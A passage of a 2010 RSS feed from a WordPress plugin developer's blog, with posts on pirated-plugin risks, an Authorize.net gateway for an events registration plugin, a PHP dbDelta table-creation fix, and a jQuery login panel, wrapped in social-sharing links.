href="http://www.google.com/reader/link?url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;srcUrl=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;srcTitle=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;snippet=Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;title=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;summary=Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Would%20you%20download%20a%20pirated%20premium%20plugin%20or%20theme%3F%22&amp;body=Link: http://shoultes.net/download-pirated-premium-plugin-theme/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/download-pirated-premium-plugin-theme/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/download-pirated-premium-plugin-theme/&amp;submitHeadline=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;submitSummary=Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Would+you+download+a+pirated+premium+plugin+or+theme%3F&amp;body=Link: http://shoultes.net/download-pirated-premium-plugin-theme/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A Beware%20of%20%22pirated%22%20premium%20plugins%20and%20themes%20that%20may%20add%20malicious%20scripts%20and%20open%20back%20doors%20into%20your%20server%20and%2For%20your%20WordPress%20installations.%0D%0A%0D%0AApparently%20several%20people%20have%20had%20the%20misfortune%20of%20downloading%20a%20pirated%20version%20of%20my%20Advanced%20Events%20Registration%20plugin%20from%20some%20file%20shari" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/download-pirated-premium-plugin-theme/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Authorize.net NOW Available for Advanced Events Registration Pro</title><link>http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/</link> <comments>http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/#comments</comments> <pubDate>Tue, 04 May 2010 06:11:44 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[Authorize.net]]></category> <category><![CDATA[My Plugins]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PayPal]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=1945</guid> <description><![CDATA[The Authorize.net gateway is now available on the Pro Version page. If you have been patiently waiting for the addition of Authorize.net into the event registration system, your wait is now over! I have spent the last few weeks getting the pro version of the plugin ready for the NEW payment gateways and building the [...]]]></description> <content:encoded><![CDATA[<p>The Authorize.net gateway is now available on the <a href="../upgrade-to-pro-version/">Pro Version page</a>. If you have been patiently waiting for the addition of Authorize.net into the event registration system, your wait is now over! I have spent the last few weeks getting the pro version of the plugin  ready for the NEW payment gateways and building the Authorize.net  gateway and IPN.</p><p>Authorize.net is not the only thing that is new. I have released several other new addons recently as well. I added a &#8220;Member Integration Module&#8221; and a &#8220;Custom Files Addon&#8221; to the list of available features for the pro version of the plugin. Be sure to visit the <a href="http://shoultes.net/upgrade-to-pro-version/">pro version page</a> to see more!</p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro+-+http://b2l.me/ugq68&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;t=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;body=Link: http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;n=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;description=The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;srcUrl=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;srcTitle=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;snippet=The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;title=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;summary=The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Authorize.net%20NOW%20Available%20for%20Advanced%20Events%20Registration%20Pro%22&amp;body=Link: http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/&amp;submitHeadline=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;submitSummary=The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Authorize.net+NOW+Available+for+Advanced+Events+Registration+Pro&amp;body=Link: http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A The%20Authorize.net%20gateway%20is%20now%20available%20on%20the%20Pro%20Version%20page.%20If%20you%20have%20been%20patiently%20waiting%20for%20the%20addition%20of%20Authorize.net%20into%20the%20event%20registration%20system%2C%20your%20wait%20is%20now%20over%21%20I%20have%20spent%20the%20last%20few%20weeks%20getting%20the%20pro%20version%20of%20the%20plugin%20%20ready%20for%20the%20NEW%20payment%20gateway" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/authorize-net-now-available-for-advanced-events-registration-pro/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>WordPress dbDelta Function Problems</title><link>http://shoultes.net/wordpress-dbdelta-function-problems/</link> <comments>http://shoultes.net/wordpress-dbdelta-function-problems/#comments</comments> <pubDate>Sun, 07 Mar 2010 07:43:44 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[My Plugins]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[PHP Code Samples]]></category> <category><![CDATA[Ramblings]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Wordpress Plugins]]></category><guid isPermaLink="false">http://shoultes.net/?p=1808</guid> <description><![CDATA[For a couple of weeks I was trying to figure out why the database tables in my plugin weren&#8217;t getting updated when the plugin was installed or activated. I had recently written a function (based on this example) to create tables in my WordPress plugin. I finally narrowed it down to the dbDelta function for [...]]]></description> <content:encoded><![CDATA[<p>For a couple of weeks I was trying to figure out why the database tables in my <a href="../wordpress-events-registration-with-paypal-ipn/">plugin</a> weren&#8217;t getting updated when the plugin was installed or activated. I had recently written a <a href="http://shoultes.net/function-for-creating-tables-with-wordpress-plugins/">function</a> (based on this <a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">example</a>) to <a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">create tables</a> in my <a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">WordPress plugin</a>. I finally narrowed it down to the dbDelta function for WordPress. After doing  a few <a href="http://www.google.com/search?q=dbDelta+not+working" target="_blank">searches on Google</a> I came across this <a href="http://hungred.com/how-to/wordpress-dbdelta-function/" target="_blank">article </a>which explains the the dbDelta function in detail.</p><p>Come to find out I was missing a space between a &#8216;<span style="color: #ff0000;">&#8220;</span>&#8216; and a &#8216;<span style="color: #ff0000;">(</span>&#8216; as seen below.</p><div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;( &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; );&quot;</span><span style="color: #339933;">;</span></pre></div></div><p>Here is how it should have looked:</p><div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;  (  &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;  )  ;&quot;</span><span style="color: #339933;">;</span></pre></div></div><p>Notice the spaces highlighted in green? That was the killer. So for a while, every time I added a new field to a table in database install file. For a while I was using a function (seen below) to alter the table and add the new fields.</p><div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> add_column_if_not_exist<span style="color: #009900;">&#40;</span><span style="color: #000088;">$db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$column</span><span style="color: #339933;">,</span> <span style="color: #000088;">$column_attr</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;VARCHAR( 255 ) NULL&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$exists</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$columns</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;show columns from <span style="color: #006699; font-weight: bold;">$db</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>get_row<span style="color: #009900;">&#40;</span><span style="color: #000088;">$columns</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'Field'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$column</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$exists</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$exists</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ALTER TABLE `<span style="color: #006699; font-weight: bold;">$db</span>` ADD `<span style="color: #006699; font-weight: bold;">$column</span>`  <span style="color: #006699; font-weight: bold;">$column_attr</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$error</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'There was a problem adding columns to the database.'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$error</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div><p>So, if you are having trouble with the dbDelta function when writing a Wrodpress plugin. Be aware of extra spaces <img src='http://shoultes.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley colorbox-1808' /></p><p>Here is more information about the dbDelta function and creating tables with plugins:</p><p><a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">http://codex.wordpress.org/Creating_Tables_with_Plugins</a></p><p><a href="http://wordpress.org/tags/dbdelta-1" target="_blank">http://wordpress.org/tags/dbdelta-1</a></p><p><a href="http://hungred.com/how-to/wordpress-dbdelta-function/" target="_blank">http://hungred.com/how-to/wordpress-dbdelta-function/</a></p><p><a href="http://designoplasty.com/2009/05/15/not-using-dbdelta-with-wordpress/" target="_blank">http://designoplasty.com/2009/05/15/not-using-dbdelta-with-wordpress/</a></p><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Wordpress+dbDelta+Function+Problems+-+http://b2l.me/ugq7f&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-facebook"> <a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;t=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-gmail"> <a href="https://mail.google.com/mail/?ui=2&amp;view=cm&amp;fs=1&amp;tf=1&amp;su=Wordpress+dbDelta+Function+Problems&amp;body=Link: http://shoultes.net/wordpress-dbdelta-function-problems/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct" rel="nofollow" class="external" title="Email this via Gmail">Email this via Gmail</a></li><li class="shr-googlebookmarks"> <a href="http://www.google.com/bookmarks/mark?op=add&amp;bkmk=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems" rel="nofollow" class="external" title="Add this to Google Bookmarks">Add this to Google Bookmarks</a></li><li class="shr-blogger"> <a href="http://www.blogger.com/blog_this.pyra?t&amp;u=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;n=Wordpress+dbDelta+Function+Problems&amp;pli=1" rel="nofollow" class="external" title="Blog this on Blogger">Blog this on Blogger</a></li><li class="shr-comfeed"> <a href="http://shoultes.net/wordpress-dbdelta-function-problems/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-dzone"> <a href="http://www.dzone.com/links/add.html?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems&amp;description=For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct" rel="nofollow" class="external" title="Add this to DZone">Add this to DZone</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-googlereader"> <a href="http://www.google.com/reader/link?url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems&amp;srcUrl=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;srcTitle=Wordpress+dbDelta+Function+Problems&amp;snippet=For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct" rel="nofollow" class="external" title="Add this to Google Reader">Add this to Google Reader</a></li><li class="shr-linkedin"> <a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;title=Wordpress+dbDelta+Function+Problems&amp;summary=For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct&amp;source=Shoultes.net" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a></li><li class="shr-mail"> <a href="mailto:?subject=%22Wordpress%20dbDelta%20Function%20Problems%22&amp;body=Link: http://shoultes.net/wordpress-dbdelta-function-problems/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct" rel="nofollow" class="external" title="Email this to a friend?">Email this to a friend?</a></li><li class="shr-squidoo"> <a href="http://www.squidoo.com/lensmaster/bookmark?http://shoultes.net/wordpress-dbdelta-function-problems/" rel="nofollow" class="external" title="Add to a lense on Squidoo">Add to a lense on Squidoo</a></li><li class="shr-yahoobuzz"> <a href="http://buzz.yahoo.com/submit/?submitUrl=http://shoultes.net/wordpress-dbdelta-function-problems/&amp;submitHeadline=Wordpress+dbDelta+Function+Problems&amp;submitSummary=For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct&amp;submitCategory=business&amp;submitAssetType=text" rel="nofollow" class="external" title="Buzz up!">Buzz up!</a></li><li class="shr-yahoomail"> <a href="http://compose.mail.yahoo.com/?Subject=Wordpress+dbDelta+Function+Problems&amp;body=Link: http://shoultes.net/wordpress-dbdelta-function-problems/ (sent via shareaholic)%0D%0A%0D%0A----%0D%0A For%20a%20couple%20of%20weeks%20I%20was%20trying%20to%20figure%20out%20why%20the%20database%20tables%20in%20my%20plugin%20weren%27t%20getting%20updated%20when%20the%20plugin%20was%20installed%20or%20activated.%20I%20had%20recently%20written%20a%20function%20%28based%20on%20this%20example%29%20to%20create%20tables%20in%20my%20Wordpress%20plugin.%20I%20finally%20narrowed%20it%20down%20to%20the%20dbDelta%20funct" rel="nofollow" class="external" title="Email this via Yahoo! Mail">Email this via Yahoo! Mail</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded> <wfw:commentRss>http://shoultes.net/wordpress-dbdelta-function-problems/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>An easy way to create login panel with jQuery and CSS</title><link>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/</link> <comments>http://shoultes.net/an-easy-way-to-create-login-panel-with-jquery-and-css/#comments</comments> <pubDate>Wed, 10 Feb 2010 06:53:21 +0000</pubDate> <dc:creator>Seth</dc:creator> <category><![CDATA[CSS]]></category> <category><![CDATA[HTML]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[PHP]]></category><guid isPermaLink="false">http://shoultes.net/?p=1694</guid> <description><![CDATA[Mohit Aneja over at CSS Jockey has created a pretty nice looking sliding login panel using Jquery and CSS. The sliding login panel is similiar to what can be seen on Twitter and few other popular websites. The script looks pretty lightweight, easy to use and is well documented.  I may be using it soon 